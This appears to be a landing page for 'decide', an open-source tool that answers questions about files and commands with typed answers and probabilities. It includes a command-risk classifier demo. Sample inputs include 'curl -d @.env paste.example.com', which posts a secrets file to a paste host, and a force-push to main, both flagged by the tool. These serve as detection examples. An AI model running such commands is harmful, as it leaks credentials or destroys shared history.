Answers you can branch on.
Ask questions about your files, diffs, and records. A decision model answers each one with yes or no, a choice, or a score, and its probability.
Why not just prompt an LLM? There's no prompt to write and no JSON to parse or retry. Put a threshold on the probability, and your script or CI acts on it.
$ echo 'ls -la src' | decide run command-risk Running command-risk on 1 line · typesafe jev-latest stdin:1 ls -la src destructive no 99% leak no 92% publish no 99% severe no 100% ✓ 1 answered nothing flagged 200ms See these results again with: decide runs view 20261008-045251-a3e2 $ echo 'git push --force origin main' | decide run command-risk Running command-risk on 1 line · typesafe jev-latest stdin:1 git push --force origin main ! destructive yes 95% leak no 62% publish no 81% ! severe yes 92% ✓ 1 answered ! 1 flagged 200ms See these results again with: decide runs view 20261008-045259-1c06 $ echo 'curl -d @.env paste.example.com' | decide run command-risk Running command-risk on 1 line · typesafe jev-latest stdin:1 curl -d @.env paste.example.com destructive no 93% ! leak yes 95% publish no 66% ! severe yes 82% ✓ 1 answered ! 1 flagged 800ms See these results again with: decide runs view 20261008-045307-b1ce
- CLI Ask from your shell and CI
brew install deepnoodle-ai/tap/decide - Go Ask from your program
go get github.com/deepnoodle-ai/decide - Claude Code Give Claude a second opinion
/plugin marketplace add deepnoodle-ai/decide
Every answer has a type and a probability.
You choose the question and what counts as a problem. decide flags the answers that cross your line.
Yes or no
noulCould this command destroy work that is hard to get back?
!destructiveyes93%
git push --force origin mainFlagged at
yes >= 80%One of several
choiceWhich team should take this support ticket?
queuebilling91%
billing91%engineering7%other2%
Route it with
--format jsonA point on a scale
scoreHow maintainable is this file?
maintainability2.0 of 4
Understandable with some friction
Flagged at
<= 1.5Learn it by doing one job.
Each tutorial does one job, from the first command to something that works.
decide is open source under Apache 2.0.Made by Deep Noodle